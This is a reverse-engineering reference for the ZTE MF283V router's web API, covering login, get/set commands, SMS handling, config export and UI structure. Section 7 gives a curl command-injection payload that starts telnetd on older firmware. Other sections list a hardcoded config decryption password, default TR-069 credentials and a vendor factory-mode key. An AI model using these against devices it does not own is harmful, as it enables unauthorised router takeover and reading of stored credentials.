This is a summary of the findings while attempting to enable telnet on the router. Although this summary may feel focused on the telnet parts, the goal wasn't telnet in and on itself, but the pursuit exposed a lot of valuable information about the router's operation and web APIs that can be used directly.

ZTE MF283V — Complete API & Internals Reference

Device: ZTE MF283V-1.0.0 Firmware: BD_RWTMAMF283VV1.0.0B01 (Jan 2019) Web UI Title: "4G CPE" Web Server: GoAhead (GoAhead-Webs) Config Encryption: 3DES-CBC, password himan

1. Authentication

Login

POST /goform/goform_set_cmd_process
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.0.1/index.html
X-Requested-With: XMLHttpRequest

isTest=false&goformId=LOGIN&password=YWRtaW4=

Password is base64-encoded (YWRtaW4= = admin)
Returns {"result":"0"} on success (also 4 is acceptable), 1 = wrong password, 2 = duplicate user, 3 = bad password, 5 = locked
Sets a stok=<token> cookie on success — this is your session token

Session Check

GET /goform/goform_get_cmd_process?isTest=false&cmd=loginfo
X-Requested-With: XMLHttpRequest
Cookie: stok=<token>

Returns {"loginfo":"ok"} if authenticated.

Logout

POST /goform/goform_set_cmd_process
goformId=LOGOUT

Critical: `X-Requested-With: XMLHttpRequest` header

All goform_get_cmd_process requests require this header or they return empty responses. Without it, the API silently fails — no error, just empty JSON. The goform_set_cmd_process endpoint is slightly more forgiving but also benefits from it. This is not documented anywhere.

Session behavior

Sessions are tied to the stok cookie
Only one active session at a time — a new login invalidates the previous session
Sessions appear to expire after ~5-10 minutes of inactivity
Re-logging in gives a completely new token and kills the old one

2. API Endpoints

Read (GET-like)

GET /goform/goform_get_cmd_process?isTest=false&cmd=<command>&multi_data=1

Critical: multi_data=1 is required for comma-separated multi-value queries. Without it, querying cmd=signalbar,network_type returns {"signalbar,network_type":""} (key treated as literal string, value empty). With multi_data=1, the same query returns {"signalbar":"3","network_type":"LTE"} (each key resolved individually). This is not documented anywhere and is easy to miss since single-value queries work fine without it.

Write (POST-like)

POST /goform/goform_set_cmd_process
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

isTest=false&goformId=<ID>&<params>

Both require:

Referer: http://192.168.0.1/index.html
X-Requested-With: XMLHttpRequest (especially for GET)
Valid stok cookie

The `isTest` parameter

Always false on production devices. The web UI JS uses zte_web_ui_is_test flag (hardcoded false). When true, responses come from a local simulator in the JS code, not the device.

3. Known `goformId` Values (set commands)

goformId	Parameters	Notes
`LOGIN`	`password=<base64>`	Returns `0`/`1`/`2`/`3`/`4`/`5`
`LOGOUT`		Clears session
`REBOOT_DEVICE`		Reboots the router
`CONNECT_NETWORK`		Initiates WAN connection
`DISCONNECT_NETWORK`		Disconnects WAN
`SET_WIFI_SSID1_SETTINGS`	`ssid`, `broadcastSsidEnabled`, `MAX_Access_num`, `security_mode`, `cipher`, `passphrase`, `NoForwarding`, `qrcode_display_switch`, `security_shared_mode`	Main SSID
`SET_WIFI_SSID2_SETTINGS`	`m_SSID`, `m_HideSSID`, `m_MAX_Access_num`, `m_AuthMode`, `m_EncrypType`, `m_WPAPSK1`, `m_NoForwarding`, `m_qrcode_display_switch`, `cipher`	Guest SSID
`SET_WIFI_INFO`	`wifiEnabled`, etc.	Master WiFi on/off
`SET_WIFI_SECURITY_INFO`	`AuthMode`, `passPhrase`
`SET_WEB_LANGUAGE`	`Language`	e.g. `en`, `fr`, `ar`
`SET_BEARER_PREFERENCE`	`BearerPreference`	Network mode
`SET_CONNECTION_MODE`	`ConnectionMode`, `roam_setting_option`
`SET_NETWORK`	`NetworkNumber`, `Rat`	Manual network select
`SCAN_NETWORK`		Triggers network scan
`URL_FILTER_ADD`	`addURLFilter=<url>`	PATCHED — accepts input but doesn't execute shell commands
`URL_FILTER_DELETE`	`deleteURLFilter=<url>`
`PBM_CONTACT_ADD`	`location`, `name`, `mobilephone_num`, etc.	Phonebook add
`PBM_CONTACT_DEL`	`del_option`, `delete_id`/`del_all_location`	Phonebook delete
`APN_PROC` / `APN_PROC_EX`	Various APN params	`_EX` variant for IPv6-enabled firmwares
`SET_CONNECTION_MODE`	`ConnectionMode`, `roam_setting_option`
`ENTER_PIN`	`PinNumber`, `pin_save_flag`
`ENTER_PUK`	`PUKNumber`, `PinNumber`
`CHANGE_MODE`	`change_mode`, `password`	Factory mode trigger — requires RSA-encrypted IMEI
`SET_WIFI_SSID1_SETTINGS`	(see WiFi section)
`DEVICE_CONFIG_DOWNLOAD`		Returns encrypted config file
`SET_DEVICE_LED`	`led_status`	LED control (no command injection possible)
`SEND_SMS`	`number`, `message`, `ID`, `encode_type`
`SET_MSG_READ`	`msg_id=<id>;`, `tag=0`	Mark SMS as read. Requires semicolon after msg_id — `msg_id=81;` not `msg_id=81`
`DELETE_SMS`	`msg_id=<id>;`	Delete SMS. Same semicolon requirement
`ALL_DELETE_SMS`	`which_cgi=<location>`	Delete all SMS from a store
`SAVE_SMS`	`SMSMessage`, `SMSNumber`, `Index`, `encode_type`, `sms_time`, `draft_group_id`	Save as draft

4. Known `cmd` Values (get commands)

Passed as ?cmd=value1,value2,... with multi_data=1 for multi-value.

cmd	Returns
`loginfo`	`{"loginfo":"ok"}`
`modem_main_state`	`modem_undetected` / `modem_detected` / `modem_sim_state` / `modem_handover` / `modem_imsi_lock` / `modem_online` / `modem_offline`
`wa_inner_version`	Firmware version string, e.g. `BD_RWTMAMF283VV1.0.0B01`
`hardware_version`	e.g. `MF283V-1.0.0`
`imei`	15-digit IMEI
`wan_ipaddr`	WAN IP
`cr_version`	CR version
`web_version`	Web UI version
`Language`	Current language
`factory_mode`	`0` = normal, `2` = factory (but doesn't unlock telnet on this firmware)
`telnet_debug`	Empty = disabled, `1` = enabled (device ignores writes to this)
`URL_filter_list`	Stored filter entries (empty when injection is patched)
`station_list`	Connected WiFi clients — returns JSON array `[{"mac_addr":"..","hostname":"..","ip_addr":"..","ssid_index":"1"},...]` when clients exist, empty string `""` when none. Must be queried individually — returns empty with `multi_data=1`
`lan_station_list`	Connected LAN clients — same format as `station_list`, empty string when none. Same caveat: query individually, not with `multi_data=1`
`sms_capacity_info`	SMS storage counts
`pbm_data_total` / `pbm_data_info`	Phonebook data
`pbm_init_flag`	Phonebook initialization status
`pbm_capacity_info`	Phonebook capacity
`ConnectionMode`	Current connection mode
`current_network`	Current network info
`current_network_mode`	Network mode
`m_netselect_status`	Network selection status
`m_netselect_result`	Network selection result
`m_netselect_contents`	Available networks
`APN_config0` through `APN_config19`	APN configurations
`apn_interface_version`	APN config format version (2 = uses `_ui` suffixed keys)
`wifi_access_sta_num`	Connected WiFi device count
`RadioOff`	WiFi radio status
`SSID1`	Main SSID name
`AuthMode`	WiFi auth mode
`HideSSID`	SSID broadcast
`NoForwarding`	AP isolation
`EncrypType`	Encryption type
`WPAPSK1` / `WPAPSK1_encode`	WiFi password (plain or base64 depending on `PASSWORD_ENCODE` config)
`m_ssid_enable`	Multi-SSID enabled
`m_SSID`	Guest SSID name
`m_AuthMode`	Guest auth mode
`ppp_status`	PPP connection status: `ppp_connected`, `ppp_disconnected`, `ppp_connecting`, `ppp_disconnecting`
`simcard_roam`	`Home` / `Internal` / `International`
`signalbar`	Signal strength (0-5)
`network_type`	e.g. `LTE`, `WCDMA`
`network_provider`	Carrier name
`dial_mode`	Dial mode
`wan_connect_status`	e.g. `eth_connected`
`wan_lte_ca`	CA status: `ca_activated` / `ca_deactivated`
`realtime_tx_thrpt` / `realtime_rx_thrpt`	Real-time throughput
`realtime_tx_bytes` / `realtime_rx_bytes`	Real-time bytes
`monthly_tx_bytes` / `monthly_rx_bytes`	Monthly bytes
`data_volume_limit_switch`	Data limit on/off
`data_volume_limit_unit`	`data` or `time`
`data_volume_limit_size`	e.g. `10_1024` (10 × 1024 MB)
`data_volume_alert_percent`	Alert threshold
`EX_wifi_profile`	External WiFi profile
`EX_SSID1`	External SSID
`sta_ip_status`	External WiFi connection status
`battery_vol_percent`	Battery level
`battery_charging`	Battery charging status
`battery_pers`	Battery percentage
`opms_wan_mode`	WAN mode: `PPP`, `BRIDGE`, `PPPOE`, `DHCP`, `STATIC`
`new_version_state`	OTA update available
`current_upgrade_state`	Upgrade status
`is_mandatory`	Is update mandatory
`upg_roam_switch`	Roaming update switch
`wifi_dfs_status`	DFS status
`wifi_5g_enable`	5GHz enabled
`wifi_chip1_guest_access_time`	Guest WiFi timer
`wifi_chip2_ssid1_ssid`	5GHz SSID
`wifi_chip1_ssid1_access_sta_num`	2.4GHz connected count
`wifi_chip2_ssid1_access_sta_num`	5GHz connected count
`sms_received_flag`	New SMS indicator
`sts_received_flag`	SMS report indicator
`sms_dev_unread_num` / `sms_sim_unread_num` / `sms_unread_num`	Unread SMS counts
`ppp_dial_conn_fail_counter`	Connection failure count
`wifi_onoff_func_control`	WiFi on/off function control
`pbm_write_flag`	Phonebook write status
`sms_data_total`	SMS list query — requires `page`, `data_per_page`, `mem_store`, `tags`, `order_by` params. Returns `messages[]` array
`sms_parameter_info`	SMS center number, delivery report settings
`sms_cmd_status_info`	Async SMS operation status (send/delete progress)

5. Web UI Architecture

Framework

RequireJS 2.0.2 for module loading
KnockoutJS for data binding
jQuery, Underscore.js, Bootstrap
ECharts for graphs

Routing

Hash-based SPA routing. The main config loads from js/config/cpe/MF283V/config.js and menu from js/config/cpe/MF283V/menu.js. Device type is cpe/MF283V.

Key JS files

js/main.js — entry point, RequireJS config, module bootstrap
js/service.js — ALL API communication (127KB minified), defines every goformId and cmd mapping
js/config/config.js — global config (device type, feature flags, mode lists, language lists)
js/config/cpe/MF283V/config.js — device-specific overrides

Menu Structure (all routes)

Hash	Path	Level	Parent
`#login`	`login`	1	—
`#home`	`home`	1	—
`#status`	`status/device_info`	1	—
`#status > #device_info`	`status/device_info`	2	`#status`
`#status > #traffic_statistics`	`status/traffic_statistics`	2	`#status`
`#status > #traffic_alert`	`status/traffic_alert`	2	`#status`
`#sms`	`sms/smslist`	1	—
`#phonebook`	`phonebook/phonebook`	1	—
`#parental_control`	`firewall/parental_control`	1	—
`#setting`	`adm/quick_setting`	1	—
`#setting > #quick_setting`	`adm/quick_setting`	2	`#setting`
`#setting > #net_setting`	`network/dial_setting`	2	`#setting`
`#setting > #wifi`	`wifi/wifi_basic`	2	`#setting`
`#setting > #device_setting`	`adm/password`	2	`#setting`
`#setting > #firewall`	`firewall/port_filter`	2	`#setting`
`#setting > #ipsec`	`ipsec/ipsec`	2	`#setting`
`#setting > #router_setting`	`adm/lan`	2	`#setting`
`#setting > #ap_station`	`wifi/ap_station`	2	`#setting`
`#setting > #net_setting > #dial_setting`	`network/dial_setting`	3	`#net_setting`
`#setting > #net_setting > #net_select`	`network/net_select`	3	`#net_setting`
`#setting > #net_setting > #apn_setting`	`network/apn_setting`	3	`#net_setting`
`#setting > #wifi > #wifi_basic`	`wifi/wifi_basic`	3	`#wifi`
`#setting > #wifi_main`	`wifi/wifi_main`	3	`#setting`
`#setting > #wifi_guest`	`wifi/wifi_guest`	3	`#setting`
`#setting > #wifi > #wifi_advance`	`wifi/wifi_advance`	3	`#wifi`
`#setting > #wifi > #wps`	`wifi/wps`	3	`#wifi`
`#setting > #device_setting > #password_management`	`adm/password`	3	`#device_setting`
`#setting > #device_setting > #pin_management`	`adm/pin`	3	`#device_setting`
`#setting > #device_setting > #sntp`	`adm/sntp`	3	`#device_setting`
`#setting > #device_setting > #restore`	`adm/restore`	3	`#device_setting`
`#setting > #device_setting > #configuragtion`	`adm/configuragtion`	3	`#device_setting`
`#setting > #device_setting > #diagnosis`	`adm/diagnosis`	3	`#device_setting`
`#setting > #device_setting > #sleep_mode`	`wifi/sleep_mode`	3	`#device_setting`
`#setting > #device_setting > #others`	`adm/others`	3	`#device_setting`
`#setting > #device_setting > #dlna_setting`	`adm/dlna`	3	`#device_setting`
`#setting > #firewall > #port_filter`	`firewall/port_filter`	3	`#firewall`
`#setting > #firewall > #anti_vio_cra`	`firewall/anti_violence_crack`	3	`#firewall`
`#setting > #firewall > #port_forward`	`firewall/port_forward`	3	`#firewall`
`#setting > #firewall > #port_map`	`firewall/port_map`	3	`#firewall`
`#setting > #firewall > #upnp`	`firewall/upnp_setting`	3	`#firewall`
`#setting > #firewall > #dmz`	`firewall/dmz_setting`	3	`#firewall`
`#setting > #device_setting > #update_management`	`update/update_info`	3	`#device_setting`

Device-Specific Feature Flags

From config/cpe/MF283V/config.js:

INCLUDE_MOBILE: true
HAS_CASCADE_SMS: true
IPV6_SUPPORT: true
HAS_BATTERY: false           // No battery in MF283V
EMPTY_APN_SUPPORT: false
TSW_SUPPORT: true            // Traffic statistics
HAS_FOTA: true               // Firmware OTA updates
HAS_MULTI_SSID: true         // Guest WiFi
WIFI_HAS_5G: false           // No 5GHz on MF283V
WIFI_BAND_SUPPORT: false
WIFI_BANDWIDTH_SUPPORT: true
STATION_BLOCK_SUPPORT: false
STATION_BIND_SUPPORT: false
AP_STATION_SUPPORT: false
WDS_SUPPORT: false
WIFI_SWITCH_SUPPORT: true
WIFI_SLEEP_SUPPORT: false
WIFI_SUPPORT_QR_CODE: false
NETWORK_UNLOCK_SUPPORT: true // SIM unlock
MAX_STATION_NUMBER: 32
HAS_L2TP: false
HAS_GRE: false
HAS_IPSEC: false
HAS_RJ45: true               // Ethernet ports
HAS_GDPR: false              // No GDPR consent
HAS_PARENTAL_CONTROL: true
HAS_FLOW_LIMITED: true
HAS_ANTI_VIO_ACK: false
HAS_MAC_FILTER: true
HAS_DDNS: false
HAS_SMS: true
HAS_PHONEBOOK: true
UPGRADE_TYPE: "FOTA"

Parent Config Feature Flags (from `config/config.js`)

HAS_LOGIN: true
LOGIN_SECURITY_SUPPORT: true
MAX_LOGIN_COUNT: 5
PASSWORD_ENCODE: true        // WiFi passwords stored as base64
IPV6_SUPPORT: true
IPV4V6_SUPPORT: true
CLEAR_DATA_SUPPORT: false
USE_IPV6_INTERFACE: true
MAX_STATION_NUMBER: 10
WIFI_HAS_5G: true
WIFI_SUPPORT_QR_CODE: true
HAS_SMS: true
HAS_PHONEBOOK: true
HAS_PARENTAL_CONTROL: true
HAS_IPSEC: true
IS_WIFI2_0: true
HAS_ANTI_VIO_ACK: false
HAS_MAC_FILTER: true
HAS_L2TP: true
HAS_GRE: true
HAS_RJ45: true
HAS_GDPR: true
CONTENT_MODIFIED: {modified:false, message:"leave_page_info"} // Unsaved changes dialog
portForwardMax: 10
urlFilterMax: 10
defaultApnSize: 1
maxApnNumber: 10
staticMacIPAddress: 10

6. Config File Format

Download

GET /cgi-bin/ExportSettings.sh

Returns encrypted binary file.

Upload

POST /cgi-bin/upload_settings.cgi
Content-Type: multipart/form-data
Field name: filename

Returns {"result":"success"} on success.

Encryption

Cipher: 3DES-CBC (des-ede3-cbc)
Password: himan
Hash: MD5
Format: OpenSSL enc standard (8-byte Salted__ header + salt + ciphertext)

Decrypt

openssl enc -d -des-ede3-cbc -md md5 -pass pass:himan -in config.dat -o config.bin

Encrypt

openssl enc -e -des-ede3-cbc -md md5 -pass pass:himan -in config.bin -o config.dat

Internal Format

Plain text key=value pairs, newline-separated (\n / 0x0a). First line is profile name (Default). No checksum, no header.

Key NVRAM Variables

Variable	Default	Notes
`telnet_debug=`	empty (disabled)	Device ignores writes to this via config upload or API
`factory_mode=0`	0=normal	Accepts `2` via config upload, but doesn't unlock telnet
`debug_mode_is_persist=`	empty	Accepts `1` via config upload
`websURLFilters=`	empty	Stores URL filter entries (command injection payloads are saved but not executed)
`websPortFilters=`	empty	Port filter entries
`PPPoEProxyPassword=`		PPPoE proxy password
`tr069_ConnectionRequestUsername=`	`itms`	TR-069 username
`tr069_ConnectionRequestPassword=`	`itms`	TR-069 password
`admin_Password=admin`		Web UI password
`simcard_roam=Home`		Roaming setting
`IPPortFilterEnable=0`		IP/port filter master switch

Config Upload Behavior

Accepts changes to: factory_mode, debug_mode_is_persist, most network/WiFi settings
Ignores changes to: telnet_debug (silently stripped or reset to empty)
URL filter entries are saved to websURLFilters in NVRAM but not processed as shell commands

7. Telnet Enable — History & Status

Known Working Method (pre-2019 firmware)

# 1. Login
curl -c cookies.txt "http://192.168.0.1/goform/goform_set_cmd_process" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "Referer: http://192.168.0.1/index.html" \
  --data "isTest=false&goformId=LOGIN&password=YWRtaW4="

# 2. Inject telnetd via URL filter command injection
curl -b cookies.txt "http://192.168.0.1/goform/goform_set_cmd_process" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "Referer: http://192.168.0.1/index.html" \
  --data "isTest=false&goformId=URL_FILTER_ADD&addURLFilter=http://fakeurl/&&telnetd&&"

# 3. Telnet to port 4719, login: admin/admin
telnet 192.168.0.1 4719

Why It Fails on This Firmware

The URL_FILTER_ADD endpoint still accepts the input and returns {"result":"success"}. The entries are even saved to NVRAM (websURLFilters). But the NVRAM parser no longer passes the URL string through popen() or system() — the && shell metacharacters are treated as literal characters, not command separators. The patch was applied before or around firmware BD_RWTMAMF283VV1.0.0B01 (Jan 2019).

Factory Mode Backdoor (MF286, not MF283V)

/goform/goform_set_cmd_process?goformId=CHANGE_MODE&change_mode=2&password=<RSA-encrypted-IMEI>

This exists on MF283V but requires the RSA-2048 private key (unknown) to encrypt the device IMEI. Without it, returns {"result":"failure"}.

webFac Endpoint (MF286, not MF283V)

The /webFac and /webFacEntry endpoints exist on MF286 with AES-128-CBC encrypted protocol. Does not exist on MF283V — returns 404.

8. Network & Connectivity

Default Gateway: 192.168.0.1
Subnet: 192.168.0.0/24
DHCP: Enabled by default
Open Ports: 80 (HTTP) only. No telnet (23/4719), no SSH (22), no HTTPS (443)
WAN: 4G LTE modem (no WAN Ethernet port — LAN only)
LAN: RJ45 Ethernet ports
WiFi: 2.4GHz 802.11 b/g/n (no 5GHz on MF283V)
WiFi Chip: RALINK / MediaTek (not Qualcomm — no Qualcomm Diag port)

9. WAN Mode Detection

The web UI adapts based on opms_wan_mode:

PPP — standard 4G dial-up
BRIDGE — bridge mode
PPPOE / DHCP / STATIC — when using Ethernet WAN

Different menu structures load based on mode: menu.js, menu_bridge.js, menu_pppoe.js, menu_4ggateway.js.

10. WiFi Configuration API Details

Main SSID Set

goformId: "SET_WIFI_SSID1_SETTINGS"
ssid, broadcastSsidEnabled, MAX_Access_num, security_mode, cipher,
NoForwarding, qrcode_display_switch, security_shared_mode, passphrase

AuthMode: OPEN, WPAPSK, WPA2PSK, WPAPSKWPA2PSK, SHARED
EncrypType: NONE, WEP, TKIP, AES
Cipher: 0=TKIP, 1=AES, 2=Auto
Password is base64-encoded when PASSWORD_ENCODE is true

Guest SSID Set

goformId: "SET_WIFI_SSID2_SETTINGS"
m_SSID, m_HideSSID, m_MAX_Access_num, m_AuthMode, m_EncrypType,
m_WPAPSK1, m_NoForwarding, m_qrcode_display_switch, cipher

APN Management

goformId: "APN_PROC" or "APN_PROC_EX"
apn_action: "save" | "delete" | "set_default"
apn_mode: "manual"
index, profile_name, wan_apn, dns_mode, ppp_auth_mode, ppp_username, ppp_passwd, etc.

APN_PROC_EX is used when USE_IPV6_INTERFACE is true (IPv4+IPv6 combined)
APN_config0 through APN_config19 — up to 20 APNs
When apn_interface_version >= 2, uses suffixed keys like wan_apn_ui, profile_name_ui

11. Login Security

Max attempts: 5 (MAX_LOGIN_COUNT)
Lockout: 300 seconds (5 minutes) after max failed attempts
Password: stored in NVRAM as admin_Password (plaintext in config export!)
Response codes: 0/4=success, 1=fail, 2=duplicate, 3=bad password, 5=locked

12. Useful cURL Patterns

Quick reboot (no UI needed — but needs fresh session)

# Login
STOK=$(curl -s -c /tmp/zte.jar "http://192.168.0.1/goform/goform_set_cmd_process" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "Referer: http://192.168.0.1/index.html" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "isTest=false&goformId=LOGIN&password=YWRtaW4=" | grep -oP 'stok\t+\K\S+' || grep stok /tmp/zte.jar | awk '{print $NF}')

# Reboot
curl -s -b "stok=$STOK" "http://192.168.0.1/goform/goform_set_cmd_process" \
  -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
  -H "Referer: http://192.168.0.1/index.html" \
  -H "X-Requested-With: XMLHttpRequest" \
  -d "isTest=false&goformId=REBOOT_DEVICE"

Get device info

curl -s -b "stok=$STOK" "http://192.168.0.1/goform/goform_get_cmd_process?isTest=false&cmd=wa_inner_version,hardware_version,imei" \
  -H "Referer: http://192.168.0.1/index.html" \
  -H "X-Requested-With: XMLHttpRequest"

Export config (decrypted)

curl -s -b "stok=$STOK" "http://192.168.0.1/cgi-bin/ExportSettings.sh" | \
  openssl enc -d -des-ede3-cbc -md md5 -pass pass:himan | strings

13. CVE References (for related ZTE devices)

CVE-2023-25649 — Command injection via SET_DEVICE_LED on ZTE ZXHN H168N V2.2 — patched
CVE-2022-39073 — ZTE MF971R info disclosure
SEC Consult MF253V — Config decryption with password himan (3DES-CBC), hardcoded RSA keys
MF286 webFac — AES-128-CBC with password ZTE%^[a]#$%^&*()!@#! for /webFac protocol

15. SMS API Details

List Messages

GET /goform/goform_get_cmd_process?isTest=false&cmd=sms_data_total&page=1&data_per_page=20&mem_store=1&tags=0&order_by=order+by+id+desc

Parameters:

mem_store: 1 = device (NV storage), 2 = SIM
tags: 0 = read/received, 1 = unread, 2 = sent, 4 = draft (not 3 — discovered empirically)
page: page number (1-indexed)
data_per_page: messages per page
order_by: e.g. order by id desc

Response: {"messages": [...]} where each message has:

{
  "id": "81",
  "number": "+212708192869",
  "content": "004200690065006E00760065006E00750065",
  "tag": "1",
  "date": "26,04,08,01,41,10,+4",
  "draft_group_id": "",
  "received_all_concat_sms": "1",
  "concat_sms_total": "0",
  "concat_sms_received": "0",
  "sms_class": "4"
}

Content Encoding

SMS content is hex-encoded UTF-16-BE. Decode with:

echo "004200690065006E" | xxd -r -p | iconv -f UTF-16BE -t UTF-8
# → "Bien"

Date Format

YY,MM,DD,HH,mm,ss,±timezone_offset — e.g. 26,04,08,01,41,10,+4 = 2026-04-08 01:41:10 UTC+4

Tag Values

Value	Meaning
`0`	Read (received)
`1`	Unread
`2`	Sent
`4`	Draft

Mark as Read

POST /goform/goform_set_cmd_process
goformId=SET_MSG_READ&msg_id=81;&tag=0

Critical: msg_id must end with a semicolon. msg_id=81 fails, msg_id=81; succeeds.

Delete

POST /goform/goform_set_cmd_process
goformId=DELETE_SMS&msg_id=81;

Same semicolon requirement. Multiple IDs: msg_id=81;82;83;

Tags Don't Merge

tags=0 returns only read messages, tags=1 returns only unread, tags=2 returns only sent, tags=4 returns only draft. There is no single query that returns "all" — the web UI merges results from multiple queries client-side.

SMS Capacity

cmd=sms_capacity_info

Returns: sms_nv_total, sms_nv_rev_total, sms_nv_send_total, sms_nv_draftbox_total, sms_sim_total, etc.

Unread Count

cmd=sms_dev_unread_num,sms_sim_unread_num,sms_unread_num&multi_data=1

Returns device unread, SIM unread, and total unread.

16. What Would Work for Reboot Without UI

Since the API works, you can script a one-liner:

alias zte-reboot='curl -s -c /tmp/zte.jar "http://192.168.0.1/goform/goform_set_cmd_process" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Referer: http://192.168.0.1/index.html" -H "X-Requested-With: XMLHttpRequest" -d "isTest=false&goformId=LOGIN&password=YWRtaW4=" > /dev/null && STOK=$(grep stok /tmp/zte.jar | awk "{print \$NF}") && curl -s -b "stok=$STOK" "http://192.168.0.1/goform/goform_set_cmd_process" -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -H "Referer: http://192.168.0.1/index.html" -H "X-Requested-With: XMLHttpRequest" -d "isTest=false&goformId=REBOOT_DEVICE"'

This is effectively your telnet-reboot but via HTTP API. Two requests, no UI interaction needed.

FilesExpand file tree

ROUTER.md

Latest commit

History